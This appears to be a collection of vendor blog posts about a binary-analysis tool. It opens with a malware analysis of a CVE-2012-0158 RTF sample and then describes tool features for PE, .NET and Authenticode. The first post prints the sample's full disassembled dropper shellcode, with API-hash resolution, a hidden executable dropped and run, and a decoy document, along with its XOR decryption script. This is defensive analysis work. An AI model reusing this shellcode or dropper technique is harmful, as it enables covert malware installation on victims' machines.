CVE-2012-0158: RTF/OLE/CFBF/PE

Since support for the RTF file format has been added very recently with the version 0.9.4 of the Profiler, it’s a good idea to test it against real malware. I downloaded a pack of RTFs from contagiodump.blogspot.com and as I promised in the last post chose a more recent vulnerability: CVE-2012-0158. The reason why I picked a certain RTF from the pack is because most of the RTFs were automatically recognized and analyzed by the Profiler, while the following sample offers us a chance for some nice interactive analysis.

Unidentifed RTF

The first problem as you can see from the screenshot is that the RTF is not being automatically identified as such. That is because the signature is incomplete: the last two letters are missing. The next version of the Profiler will improve the detection in this regard. However, we can easily load it as RTF ourselves.

RTF foreign data

The RTF contains a lot of foreign data (meaning data which is not part of the RTF itself). Looking at the pattern an educate guess would be that it’s an encrypted payload.

The OLE stream contained in the RTF is flagged as containing possible shellcode. The Profiler detects it correctly. However, it’s actually the object embedded in the OLE stream which contains the shellcode. But wait, there’s no embedded object visible. This is because the extraction of the object failed, since the format of the OLE stream (which is undocumented) is different than usual. This is not a problem, we can just as easily load the object ourselves as the signature is easily recognizable.

Embedded CFBF

This last step was not strictly necessary, since we had already a detected shellcode in the OLE stream, but it increases the completeness of the analysis.

Since this is the header of the OLE stream:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  01 05 00 00 02 00 00 00   1B 00 00 00 4D 53 43 6F     ............MSCo
00000010  6D 63 74 6C 4C 69 62 2E   4C 69 73 74 56 69 65 77     mctlLib.ListView
00000020  43 74 72 6C                                           Ctrl            

Another educated guess would be that this is the component affected by the vulnerability. Let’s go back to the detected shellcode.

Detected shellcode

The initial instructions make sense and the following ones not. Let’s take a closer look.

00000920:  nop 
00000921:  nop 
00000922:  nop 
00000923:  nop 
00000924:  jmp 0x936
00000926:  pop edx
00000927:  dec edx
00000928:  xor ecx, ecx
0000092A:  mov cx, 0x2da
0000092E:  xor byte ptr [edx+ecx*1], 0xee
00000932:  loop 0x92e
00000934:  jmp 0x93b
00000936:  call 0x926

This portion of code is easily recognizable as being a decryption loop for the code that follows. This is usually implemented to avoid detection. Didn’t work this time.

Let’s select the encrypted shellcode.

Encrypted shellcode

And decrypt it with the xor filter. We can confirm the correctness of the decryption by adding the ‘disasm/x86‘ filter.

Decrypted shellcode disasm

Back to the decrypted bytes, we use the script presented in the previous post to create an executable from the shellcode.

Shellcode to executable

A quick analysis with the help of the debugger.

00001000:  mov ebp, esp                           ; init
00001002:  sub esp, 0x280
00001008:  mov dword ptr [ebp-0x44], 0x27a3b
0000100F:  mov dword ptr [ebp-0x50], 0x1c400
00001016:  mov dword ptr [ebp-0x5c], 0x8e00
0000101D:  jmp 0x12c1

00001022:  pop ebx                                ; ebx = address of DATA               
00001023:  mov dword ptr [ebp-0x4c], ebx
00001026:  call 0x1250                            ; retrieves base of kernel32.dll
0000102B:  mov dword ptr [ebp], eax
0000102E:  mov ebx, eax
00001030:  push ebx
00001031:  push 0x5b8aca33
00001036:  call 0x1269                            ; retrieves address of GetTempPathA
0000103B:  mov dword ptr [ebp-0x4], eax
0000103E:  push ebx
0000103F:  push 0xbfc7034f
00001044:  call 0x1269                            ; retrieves address of SetCurrentDirectoryA
00001049:  mov dword ptr [ebp-0x8], eax
0000104C:  push ebx
0000104D:  push 0x7c0017a5
00001052:  call 0x1269                            ; retrieves address of CreateFileA
00001057:  mov dword ptr [ebp-0x38], eax
0000105A:  push ebx
0000105B:  push 0xdf7d9bad
00001060:  call 0x1269                            ; retrieves address of GetFileSize
00001065:  mov dword ptr [ebp-0x10], eax
00001068:  push ebx
00001069:  push 0x76da08ac
0000106E:  call 0x1269                            ; retrieves address of SetFilePointer
00001073:  mov dword ptr [ebp-0x14], eax
00001076:  push ebx
00001077:  push 0x10fa6516
0000107C:  call 0x1269                            ; retrieves address of ReadFile
00001081:  mov dword ptr [ebp-0x18], eax
00001084:  push ebx
00001085:  push 0xe80a791f
0000108A:  call 0x1269                            ; retrieves address of WriteFile
0000108F:  mov dword ptr [ebp-0x1c], eax
00001092:  push ebx
00001093:  push 0xffd97fb
00001098:  call 0x1269                            ; retrieves address of CloseHandle
0000109D:  mov dword ptr [ebp-0x20], eax
000010A0:  push ebx
000010A1:  push 0xc0397ec
000010A6:  call 0x1269                            ; retrieves address of GlobalAlloc
000010AB:  mov dword ptr [ebp-0x24], eax
000010AE:  push ebx
000010AF:  push 0x45b06d76
000010B4:  call 0x1269                            ; retrieves address of GetModuleFileNameA
000010B9:  mov dword ptr [ebp-0x28], eax
000010BC:  push ebx
000010BD:  push 0x7cb922f6
000010C2:  call 0x1269                            ; retrieves address of GlobalFree
000010C7:  mov dword ptr [ebp-0x2c], eax
000010CA:  push ebx
000010CB:  push 0x73e2d87e
000010D0:  call 0x1269                            ; retrieves address of ExitProcess
000010D5:  mov dword ptr [ebp-0x30], eax
000010D8:  push ebx
000010D9:  push 0xe8afe98
000010DE:  call 0x1269                            ; retrieves address of WinExec
000010E3:  mov dword ptr [ebp-0x34], eax
000010E6:  push ebx
000010E7:  push 0x78b5b983
000010EC:  call 0x1269                            ; retrieves address of TerminateProcess
000010F1:  mov dword ptr [ebp-0x84], eax
000010F7:  and dword ptr [ebp-0x48], 0x100
000010FE:  add dword ptr [ebp-0x48], 0x4          ; increment handle
00001102:  push 0x0
00001104:  push dword ptr [ebp-0x48]
00001107:  call dword ptr [ebp-0x10]              ; GetFileSize
0000110A:  cmp eax, dword ptr [ebp-0x44]          ; compares with 0x27A3B -> 162363 own file size
0000110D:  jnz 0x10fe                             ; repeat loop if it doesn't match

0000110F:  push 0x0                               ; dwMoveMethod = FILE_BEGIN
00001111:  push 0x0                               ; lpDistanceToMoveHigh
00001113:  push 0x283b                            ; lDistanceToMove
00001118:  push dword ptr [ebp-0x48]              ; hFile
0000111B:  call dword ptr [ebp-0x14]              ; SetFilePointer
0000111E:  push 0x636f64
00001123:  push 0x2e726f57                        ; pushes the string Wor.doc on the stack
00001128:  mov dword ptr [ebp-0x68], esp          ; saves string location
0000112B:  lea ebx, ptr [ebp-0x100]
00001131:  push ebx                               ; lpBuffer
00001132:  push 0x100                             ; nBufferLength
00001137:  call dword ptr [ebp-0x4]               ; GetTempPathA
0000113A:  push ebx                               ; lpPathName
0000113B:  call dword ptr [ebp-0x8]               ; SetCurrentDirectory
0000113E:  push 0x0                               ; hTemplateFile
00001140:  push 0x6                               ; dwFlagsAndAttributes = SYSTEM | HIDDEN
00001142:  push 0x2                               ; dwCreationDisposition
00001144:  push 0x0                               ; lpSecurityAttributes
00001146:  push 0x3                               ; dwShareMode
00001148:  push 0x40000000                        ; dwDesiredAccess
0000114D:  push dword ptr [ebp-0x4c]              ; lpFileName = WORD.exe (from DATA)
00001150:  call dword ptr [ebp-0x38]              ; CreateFileA
00001153:  mov dword ptr [ebp-0x54], eax          ; file handle
00001156:  mov eax, dword ptr [ebp-0x50]          ; eax = 0x1c400
00001159:  cmp eax, dword ptr [ebp-0x5c]          ; compare with 0x8e00
0000115C:  jnbe 0x1161                            ; allocate the biggest size: eax = max(0x1c400, 0x8e00)
0000115E:  mov eax, dword ptr [ebp-0x5c]
00001161:  push eax                               ; dwBytes
00001162:  push 0x40                              ; uFlags = GMEM_ZEROINIT
00001164:  call dword ptr [ebp-0x24]              ; GlobalAlloc
00001167:  mov dword ptr [ebp-0x60], eax          ; allocated memory
0000116A:  xchg esi, eax
0000116B:  push 0x0                               ; lpOverlapped
0000116D:  lea edx, ptr [ebp-0x64]
00001170:  push edx                               ; lpNumberOfBytesRead
00001171:  push dword ptr [ebp-0x50]              ; nNumberOfBytesToRead = 0x1c400
00001174:  push esi                               ; lpBuffer = allocated memory
00001175:  push dword ptr [ebp-0x48]              ; hFile
00001178:  call dword ptr [ebp-0x18]              ; ReadFile
0000117B:  mov ecx, dword ptr [ebp-0x50]          ; ecx = size
0000117E:  call 0x123d                            ; decrypts executable
00001183:  push 0x0                               ; lpOverlapped
00001185:  lea edx, ptr [ebp-0x64]
00001188:  push edx                               ; lpNumberOfBytesWritten
00001189:  push dword ptr [ebp-0x50]              ; nNumberOfBytesToWrite
0000118C:  push esi                               ; lpBuffer
0000118D:  push dword ptr [ebp-0x54]              ; hFile
00001190:  call dword ptr [ebp-0x1c]              ; WriteFile
00001193:  push dword ptr [ebp-0x54]              ; hObject
00001196:  call dword ptr [ebp-0x20]              ; CloseHandle
00001199:  push 0x0                               ; uCmdShow
0000119B:  push dword ptr [ebp-0x4c]              ; lpCmdLine = WORD.exe
0000119E:  call dword ptr [ebp-0x34]              ; WinExec
000011A1:  push 0x0                               ; dwMoveMethod = FILE_BEGIN
000011A3:  push 0x0                               ; lpDistanceToMoveHigh
000011A5:  push 0x1ec3b                           ; lDistanceToMove
000011AA:  push dword ptr [ebp-0x48]              ; hFile = own file handle
000011AD:  call dword ptr [ebp-0x14]              ; SetFilePointer
000011B0:  push 0x0                               ; hTemplateFile
000011B2:  push 0x80                              ; dwFlagsAndAttributes
000011B7:  push 0x2                               ; dwCreationDisposition
000011B9:  push 0x0                               ; lpSecurityAttributes
000011BB:  push 0x0                               ; dwShareMode
000011BD:  push 0x40000000                        ; dwDesiredAccess
000011C2:  push dword ptr [ebp-0x68]              ; lpFileName = Wor.doc
000011C5:  call dword ptr [ebp-0x38]              ; CreateFileA
000011C8:  mov dword ptr [ebp-0x54], eax          ; new file handle
000011CB:  push 0x0                               ; lpOverlapped
000011CD:  lea edx, ptr [ebp-0x64]
000011D0:  push edx                               ; lpNumberOfBytesRead
000011D1:  push dword ptr [ebp-0x5c]              ; nNumberOfBytesToRead = 0x8e00
000011D4:  push dword ptr [ebp-0x60]              ; lpBuffer = allocated memory
000011D7:  push dword ptr [ebp-0x48]              ; hFile
000011DA:  call dword ptr [ebp-0x18]              ; ReadFile
000011DD:  mov esi, dword ptr [ebp-0x60]
000011E0:  mov ecx, dword ptr [ebp-0x5c]          ; ecx = 0x8e00
000011E3:  call 0x123d                            ; decrypts doc
000011E8:  mov esi, dword ptr [ebp-0x60]
000011EB:  push 0x0                               ; lpOverlapped
000011ED:  lea edx, ptr [ebp-0x64]
000011F0:  push edx                               ; lpNumberOfBytesWritten
000011F1:  push dword ptr [ebp-0x5c]              ; nNumberOfBytesToWrite
000011F4:  push esi                               ; lpBuffer
000011F5:  push dword ptr [ebp-0x54]              ; hFile
000011F8:  call dword ptr [ebp-0x1c]              ; WriteFile
000011FB:  push dword ptr [ebp-0x54]              ; hObject
000011FE:  call dword ptr [ebp-0x20]              ; CloseHandle
00001201:  push dword ptr [ebp-0x48]              ; hObject
00001204:  call dword ptr [ebp-0x20]              ; CloseHandle
00001207:  push 0x100                             ; nSize
0000120C:  lea ebx, ptr [ebp-0x100]
00001212:  push ebx                               ; lpFilename
00001213:  push 0x0                               ; hModule
00001215:  call dword ptr [ebp-0x28]              ; GetModuleFileNameA
00001218:  mov esi, ebx                           ; strlen
0000121A:  inc esi
0000121B:  cmp byte ptr [esi], 0x0
0000121E:  jnz 0x121a
00001220:  mov edi, esi
00001222:  mov byte ptr [edi], 0x20               ; appends ' '
00001225:  inc edi
00001226:  mov esi, dword ptr [ebp-0x68]          ; appends Wor.doc
00001229:  mov ecx, 0x16
0000122E:  rep movsd dword ptr [edi], dword ptr [esi]
00001230:  push 0x5                               ; uCmdShow
00001232:  push ebx                               ; lpCmdLine = current exe name + " Wor.doc"
00001233:  call dword ptr [ebp-0x34]              ; WinExec
00001236:  xor eax, eax
00001238:  push eax                               ; uExitCode
00001239:  call dword ptr [ebp-0x30]              ; ExitProcess

; decrypts payload
0000123D:  pushad 
0000123E:  mov edi, esi
00001240:  lodsb byte ptr [esi]
00001241:  cmp al, 0x0
00001243:  jz 0x124b
00001245:  cmp al, 0xfc
00001247:  jz 0x124b
00001249:  xor al, 0xfc
0000124B:  stosb byte ptr [edi]
0000124C:  loop 0x1240
0000124E:  popad 
0000124F:  ret 

; retrieves base of kernel32.dll
00001250:  push esi    
00001251:  mov ebx, dword ptr fs:[0x30]
00001258:  mov ebx, dword ptr [ebx+0xc]
0000125B:  mov ebx, dword ptr [ebx+0x14]
0000125E:  mov ebx, dword ptr [ebx]
00001260:  mov ebx, dword ptr [ebx]
00001262:  mov eax, dword ptr [ebx+0x10]
00001265:  pop esi
00001266:  ret 0x4

; retrieves address of API
00001269:  push ebx
0000126A:  push ebp
0000126B:  push esi
0000126C:  push edi
0000126D:  mov ebp, dword ptr [esp+0x18]
00001271:  mov eax, dword ptr [ebp+0x3c]
00001274:  mov edx, dword ptr [ebp+eax*1+0x78]
00001278:  add edx, ebp
0000127A:  mov ecx, dword ptr [edx+0x18]
0000127D:  mov ebx, dword ptr [edx+0x20]
00001280:  add ebx, ebp
00001282:  jecxz 0x12b6
00001284:  dec ecx
00001285:  mov esi, dword ptr [ebx+ecx*4]
00001288:  add esi, ebp
0000128A:  xor edi, edi
0000128C:  cld 
0000128D:  xor eax, eax
0000128F:  lodsb byte ptr [esi]
00001290:  cmp al, ah
00001292:  jz 0x129b
00001294:  ror edi, 0xd
00001297:  add edi, eax
00001299:  jmp 0x128d
0000129B:  cmp edi, dword ptr [esp+0x14]
0000129F:  jnz 0x1282
000012A1:  mov ebx, dword ptr [edx+0x24]
000012A4:  add ebx, ebp
000012A6:  mov cx, word ptr [ebx+ecx*2]
000012AA:  mov ebx, dword ptr [edx+0x1c]
000012AD:  add ebx, ebp
000012AF:  mov eax, dword ptr [ebx+ecx*4]
000012B2:  add eax, ebp
000012B4:  jmp 0x12b8
000012B6:  xor eax, eax
000012B8:  mov edx, ebp
000012BA:  pop edi
000012BB:  pop esi
000012BC:  pop ebp
000012BD:  pop ebx
000012BE:  ret 0x8

000012C1:  call 0x1022

;
; DATA
;

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

000002C0                    57 4F   52 44 2E 65 78 65 00 00           WORD.exe..
000002D0  00 00 00 00 00 00 00 00   00 00                       ..........      

The debugger was necessary only to check which APIs are retrieved by the shellcode and from there static analysis was easy. To sum up the shellcode decrypts two files, an executable and a doc file, executes the first directly and opens the second with the same program which is executing the shellcode.

From the shellcode we can retrieve the ranges of the encrypted payloads:

offset: 0x283b size: 0x1c400
offset: 0x1ec3b size: 0x8e00

Embedded payloads

Now we can open the encrypted payloads and apply the simple decryption code.

Payload decryption

from Pro.UI import proContext, ProView

view = proContext().getCurrentView()
if view.isValid() and view.type() == ProView.Type_Hex:
    b = view.readBytes(0, view.getSize())
    for x in range(len(b)):
        if b[x] != 0 and b[x] != 0xFC:
            b[x] = b[x] ^ 0xFC
    view.setBytes(b)

We save the decrypted payloads to disk. In the near future this won’t be necessary as such a filter will be easily created and used to load files inside the workspace of the Profiler itself.

We can use the safe text preview of Word Documents in the Profiler to view the text of the document opened by the shellcode.

DOC preview

From the text it seems to be directed at something gov: “My Esteemed Colleagues; Members of the Board of Governors of the Indian Business Chamber in Vietnam”.

The reason for opening the second document is clearly that the instance of the original program which ran the shellcode would’ve crashed and was therefore terminated cleanly with ExitProcess by the shellcode itself. Spawning a second instance with a clean document doesn’t make the user suspicious, from his point of view he just opened a document and a document has indeed been opened.

The executable is not protected by any means and so it’s just a matter of opening it with IDA Pro and spend a few hours understanding the whole code. But that’s beyond the scope of this demonstration.

Detect broken PE manifests

In the previous post we’ve seen a brief introduction of how hooks work. If you haven’t read that post, you’re encouraged to do so in order to understand this one. What we’re going to do in this post is something practical: verifying the XML correctness of PE manifests contained in executables in the Windows directory.

The hook INI entry:

[PE: verify manifests]
file = pe_hooks.py
scanned = detectBrokenManifest
mode = batch
formats = PE

And the python code:

from Pro.Core import *
from Pro.PE import *

def detectBrokenManifest(sp, ud):
    sp.exclude()
    pe = sp.getObject()
    it = pe.ResourceIterator()
    if it.MoveToRoot(RES_TYPE_CONFIGURATION_FILES) == False:
        return
    while it.Next() and it.RootName() == RES_TYPE_CONFIGURATION_FILES:
        s = it.Data()
        offs = pe.RvaToOffset(s.Num(0)) # same as s.Num("OffsetToData")
        sz = s.Num(1) # same as s.Num("Size")
        if offs == INVALID_OFFSET or sz == 0:
            continue
        bytes = pe.Read(offs, sz)
        xml = NTXml()
        if xml.parse(bytes) != NTXml_ErrNone:
            sp.include()
            break

That’s it!

What the code above does is to ask the PE object for a resource iterator. This class, as our customers can observe from the SDK documentation, is capable of both iterating and moving to a specific resource directory or item. Thus, first it moves to the RES_TYPE_CONFIGURATION_FILES directory and then goes through all its items. If the XML parsing does fail, then the file is included in our final report.

So let’s proceed and do the actual scan. First we need to activate the extension from the extensions view:

Then we need to specify the Windows directory as our scan directory and the kind of file format we’re interested scanning (PE).

Let’s wait for the scan to complete and we’ll get the final results.

So seems these file have a problem with their manifests. Let’s open one and go to its manifest resources:

(if the XML is missing new-lines, just hit “Run action (Ctrl+R)->XML indenter”)

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity
    name=""Microsoft.Windows.Shell.DevicePairingFolder""
    processorArchitecture=""x86""
    version=""5.1.0.0""
    type="win32"/>
  <description>Wireless Devices Explorer</description>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity
        type="win32"
        name="Microsoft.Windows.Common-Controls"
        version="6.0.0.0"
        processorArchitecture="*"
        publicKeyToken="6595b64144ccf1df"
        language="*" />
    </dependentAssembly>
  </dependency>
</assembly>

As you can see some attributes in assemblyIdentity contain double quotes. I don’t know whether this DLL has been created with Visual C++, but I do remember that this could happen when specifying manifests fields in the project configuration dialog.

Previews

The upcoming version 0.9.2 of the Profiler adds previews for various things: images (all supported formats), several Portable Executable resources and Office Word Documents (text-only).

PE resources preview

Since media elements are rendered through third-party code, the Profiler displays a warning box before actually rendering a media element.

Preview warning

The ‘Allow all’ button allows media elements for the current session only. If the Profiler is running in a safe environment (like a VM), the user can decide to permanently disable the warning box and allow all media elements.

Preview settings

Last but not least, text-only preview of Office Word Documents has been introduced. This allows users to safely inspect the text content of a document without processing the file with an official viewer which could be the target of exploits.

Office document preview

While there are already enough new features to release, some smaller additions will be squeezed into 0.9.2 during the next days. Stay tuned!

.NET support

Although there haven’t been customer requests for this, the upcoming 0.9.0 version of the Profiler adds support for .NET, which includes format, layout ranges and an MSIL disassembler.

As usual, let’s begin with the format itself. Since some users probably have used CFF Explorer to inspect the .NET format in the past, I have kept the same format view in the Profiler as well.

So how is it better than CFF Explorer? First of all, it’s very fast. There’s absolutely no wait time in opening a large metadata set as the following.

And then one handy feature which was not available in CFF Explorer, is the capability to display a second set of metadata. For instance, .NET native images (meaning those files in the assembly cache created with ngen.exe) contain two sets of metadata. The Profiler lets you inspect both sets.

Layout ranges cover all PE parts, so it was normal to add them for .NET as well. These are the ranges available for .NET:

Let’s see them in the hex editor.

If you’re asking yourself why it’s all gray, it’s because more ranges are blended together, meaning that all .NET metadata is contained in the .text section of the PE and that section is marked as executable even if the assembly contains only MSIL code. While it doesn’t make much sense to mark as executable a region of data containing strings and tables, my best guess is that old versions of Windows had no in-built support for .NET in the loader, which is why assemblies contain a single ‘mscoree.dll’ import descriptor and the entry point is just a jmp to the only IAT thunk (_CorExeMain for executables, _CorDllMain for dlls). That API then loads the .NET framework if necessary. Since that single native jmp instruction requires a section in the PE marked as executable and because the granularity of sections is the same as virtual memory pages, it was probably considered a waste to use an entire memory page just for a jmp instruction and so the result is that everything is contained into a single executable section. This could probably be changed as new versions of the framework do not even run on older systems.

However, for our inspection purposes it suffice to get rid of the Code range by pressing Ctrl+Alt+F.

We can now inspect .NET layout ranges without the conflict. One nice aspect about it is that the code of IL methods is easy to distinguish between its header and extra sections.

Included is also an IL disassembler. Its purpose is to let our customers quickly browse the contents of an assembly. As such readability was a priority and the output has been grouped for classes: I have always found it cumbersome in ILDasm to open every single method to inspect an assembly.

Here’s an output example:

  private static void Main(string [] args)
  {
    locals: int local_0,
            int local_1

    ldc_i4_2
    stloc_0 // int local_0
    ldloc_0 // int local_0
    stloc_1 // int local_1
    ldloc_1 // int local_1
    ldc_i4_1
    sub
    switch
      goto loc_22
      goto loc_60
    br_s loc_71
loc_22:
    try
    {
      ldstr "h"
      call System.Console::WriteLine(string) // returns void
      leave_s loc_81
    }
    catch (System.ArgumentNullException)
    {
      pop
      ldstr "null"
      call System.Console::WriteLine(string) // returns void
      leave_s loc_81
    }
    catch (System.ArgumentException)
    {
      pop
      ldstr "error"
      call System.Console::WriteLine(string) // returns void
      leave_s loc_81
    }
loc_60:
    ldstr "k"
    call System.Console::WriteLine(string) // returns void
    ret
loc_71:
    ldstr "c"
    call System.Console::WriteLine(string) // returns void
loc_81:
    ret
  }

And the original code:

        static void Main(string[] args)
        {
            int a = 2;
            switch (a)
            {
                case 1:
                    try
                    {
                        System.Console.WriteLine("h");
                    }
                    catch (ArgumentNullException)
                    {
                        System.Console.WriteLine("null");
                    }
                    catch (ArgumentException)
                    {
                        System.Console.WriteLine("error");
                    }
                    break;
                case 2:
                    System.Console.WriteLine("k");
                    break;
                default:
                    System.Console.WriteLine("c");
                    break;
            }
        }

There’s one last thing worth mentioning. .NET manifest resources are displayed as sub-files.

However, the parsing of ‘.resources’ files was still too partial and thus won’t be included in 0.9.0.

From the last two posts you may have guessed the topic of the upcoming release. So stay tuned as there’s yet more to come.

Microsoft Authenticode

Based on RSA’s PKCS7 standard, Authenticode is the technology developed by Microsoft to digitally certify programs and drivers on Windows. Trusted signatures guarantee that the certificate owner is indeed the author of the signed executable, and also that the data itself has not been tampered with by anyone else.

In a default configuration scenario, the operating system considers these signatures during all but three events:

  1. When kernel-mode drivers are loaded
  2. When executable images that derive directly from content downloaded using Internet Explorer (or any other third-party browser which supports it) are written to disk.
  3. When an application requires admin privileges.

Point two is a weak security measure for the following reasons:

  1. Even if the right browser is used, there’s still no guarantee that the verification request (because it is by no means mandatory) is honored by the operating system unless the UAC privilege elevation dialog is invoked (either via manifest or using the “Run as Administrator” menu item). It’s important to note that if the Authenticode signature can’t be verified, the dialog being shown to the user is the same as the one for unsigned executables. At this point, there is no way to distinguish from unsigned (no code signature) and untrusted programs (invalid code signature) using the UAC dialog alone.
  2. Once an application has been authorized by a user and his certificate store, no checks are performed when it is moved to another system (even if the new certificate store can’t validate the Authenticode signature)
  3. The whole mechanism heavily relies on the file system being used; copying unauthorized files to a non-NTFS file system (which happens quite a lot, considering the vast majority of USB drives are using FAT32) doesn’t preserve the alternate data streams created by browser.

Also the verification is not self evident if done manually using Windows Explorer, as the properties dialog doesn’t show the validity of the certificate until the user clicks the “Details” button. This is highly misleading, because the user might get a false sense of security by just checking whether the executable contains a digital signature.

Windows certificate dialog

The upcoming version 0.8.6 of the Profiler introduces support for this technology, allowing users to very quickly access and verify code signing information.

The following screenshot shows a perfectly valid digital signature; all the certificates taken from the Authenticode data have been successfully used to build a trust chain that validates the PKCS7 using the system store, which means that those at the root of the tree have been directly validated by the Windows Certificate Store.

Microsoft Authenticode – A valid digital signature

As you can see, the risk factor is set to zero, since the validity of the publisher has been determined. This behavior can be changed from the Risk panel of the options: it is not on by default!

For comparison, the following screenshot shows how an invalid digital certificate is displayed:

Microsoft Authenticode – An invalid digital signature

In this case the hash is no longer what expected, issuing both a digest and an invalid certificate errors.
Countersignatures are of course supported and I think you’ll be pleased with how fast our implementation is.

Additional resources:

  1. Windows NTFS Alternate Data Streams, from Symantec
  2. Mark of the Web, from MSDN

Validation of Portable Executable resources

One of the new features of the upcoming 0.8.6 version of the Profiler is the validation of resources. This means the Profiler verifies the integrity of resources and lets the user inspect problems, making it easy to discover things like appended files or fake resources. This feature comes handy since very often malware is hidden in resources and droppers often use resources to store their payload.

All the most important resource types are supported:

  • Version info
  • Bitmaps
  • Icons
  • Cursors
  • Icon groups
  • Cursor groups
  • Configuration files
  • Accelerators
  • Menus
  • Dialogs
  • String tables
  • Message tables
  • Any other supported file format

So let’s see a simple test case. What I did is to append a DLL to a bitmap and then replace one of the bitmaps in explorer.exe with my modified one.

I could’ve used any other resource type, or even a PNG or GIF, it wouldn’t have mattered.

The simplified resource tree highlights problems with their risk color, while unsupported types are highlighted in gray.

One can jump to problems with the F2 shortcut, no need to scroll the tree ourselves in search of problems.

In the screenshot above the analysis shown is for my fake bitmap. As it’s possible to see, the bitmap ends where the red-marked data begins.

In this context it is very easy to just load the embedded PE with the “Load as…” (Ctrl+W) command.

And this gives me the opportunity to mention briefly another nice improvement to the hierarchy view.

As you can see files are now grouped according to their type. This makes it much easier to go over the files or to look for specific types. This behavior is optional and can be changed from the settings.

I think I could’ve presented this new feature with a more interesting real-world case. However, there are still some things to do in order for the new version to come out and there wasn’t enough time. I hope, nevertheless, that you enjoyed the post. 🙂

PE analysis (part 1)

This is the first of a series of posts which will be dedicated to PE analysis features. In previous posts we have seen how the Profiler has started supporting PE as a format and while it still lacks support for a few directories (and .NET), it supports enough of them for x86 PE analysis.

PE Analysis 1

While the upcoming version 0.8.4 of the Profiler also features analysis checks as CRC, recursion, metadata, etc., this post will be about the in-depth range analysis for PE files. As the screenshot above previews, in-depth ranges show PE data structures in a hex view and the distribution of data in a PE file.

Let’s take as first sample “kernel32.dll”. After having it opened in the Profiler, let’s execute the “PE->Display ranges” action.

PE ranges action

We get the PE ranges for kernel32.

Kernel32 ranges

The big region of data marked as fluorescent green represents executable code. As you can see, it is interrupted by a gray region of data which the tooltip tells us being a combination of “Code” and “Export Name Data”. If we move the cursor, we can see that it’s not only Export data, but also Import data. Which means that the Export and Import directory are contained in the executable part of the file (the IAT is in the thin gray area at the beginning of the code section). But we may not be interested in having the code section covering other data regions. This is why we can filter what we want to see (Ctrl+B).

PE ranges filter

I unmarked the “Code” range. Thus, we now get all the ranges except the unmarked one.

Kernel32 ranges without code

We can also jump to regions of data, but before seeing that, I want to briefly mention that the hex view can be printed to file/PDF or captured.

Hex View caputre

Not a big feature, but it may come handy when generating reports.

Now let’s look at a file I have especially crafted for the occasion, although it reflects a very common real-world case.

PE high entropy

We’ve got a PE with an extremely high quantity (50%) of foreign data and the entropy level of that data is also extremely high.

So let’s jump to the first occurrence of foreign data (Ctrl+J).

Ranges jump

What we see is that right there where the analyzed PE files finishes, another one has been appended.

Appended PE

So let’s select the contiguous range of data (Ctrl+Alt+A: this will select the foreign range of data) and “Load selection as…” (Ctrl+E) will asks us to select the file type to load (it is automatically identified as being a PE).

Load appended PE

We are now able to analyze the embedded PE file.

Loaded appended PE

While this procedure doesn’t highlight anything new, since loading of embedded files has been featured by the Profiler from its earliest versions, I wanted to show a practical use of it in connection with ranges.

It has to be noted that this particular case is so simple that it can be detected automatically without interaction of the user. In fact, detection of appended files in PEs will be added most probably in version 0.8.5.

Hope you enjoyed this post and stay tuned for the next parts!

PS: take advantage of our promotional offer in time. Prices will be updated in August!

Resource & Load Config Directory

The upcoming 0.8.3 version of the Profiler features two new directories. Most of the work went into implementing an efficient model view controller for the Resource Directory tree.

Resource Directory

Last year I was notified by Ange Albertini that his resourceloop.exe sample crashed the CFF Explorer (by exhausting the stack). Recursion is one of the things to look after when parsing a file as mentioned in my speech about the security of non-executable files. The screenshot below shows Ange’s sample in the Profiler.

Recursive Resource Directory

The red marked Resource Directory Entry points back to the top-level Resource Directory and thus creates a recursion in the tree.

The Profiler is intended to offer complete support for the PE file format, this is why all directories will be supported. One of the directories missing in the CFF Explorer, for instance, is the Load Config (alias SafeSEH).

Load Config Directory

Another small addition is the smart address converter (VA/RVA/Offset). This action guesses the address which needs to be converted from the context. Jumping to a location in the hex view is usually a matter of Ctrl+R and twice Ctrl+Enter.

Address converter

Five directories are still missing: Security, Exception, Bound Import, Delay Import and .NET. The analysis of x86 PEs can already be implemented by adding basic support for the Security Directory. x64 needs Exception as well. Bound and Delay Import support will follow. .NET is the one which has least priority, but it won’t take much time to impelement.

The coming posts about Portable Executable will involve analysis and will be more interesting than this one. So stay tuned. 😉

Portable Executable: coming soon

In the upcoming 0.8.1 release of the Profiler initial support for PE files has been introduced. 🙂

Optional Header

Most of the work went into optimizing the UI and allowing for complex custom views to be built easily, while maintaining great speed. Even the grid control you can see here displayed is a custom control.

In the following screenshot you can see a complex view displaying the section headers.

Section Headers

And here’s a more basic view for the import directory.

Import Directory

Another eye candy screenshot of the section headers with entropy computation for one section.

Section Entropy

What will be present in this first PE edition is mainly about the file format itself. What is going to be missing is a viewer for the resources and one for the .NET directory, because we need first to implement an efficient and customizable tree control. Also ranges won’t be supported as long as the whole file format isn’t supported. This is due to the fact that the PE is one of the most studied and documented file formats around, hence the necessity to be very precise when calculating data ranges.

Also, soon we’ll release a demo of the Profiler. Stay tuned!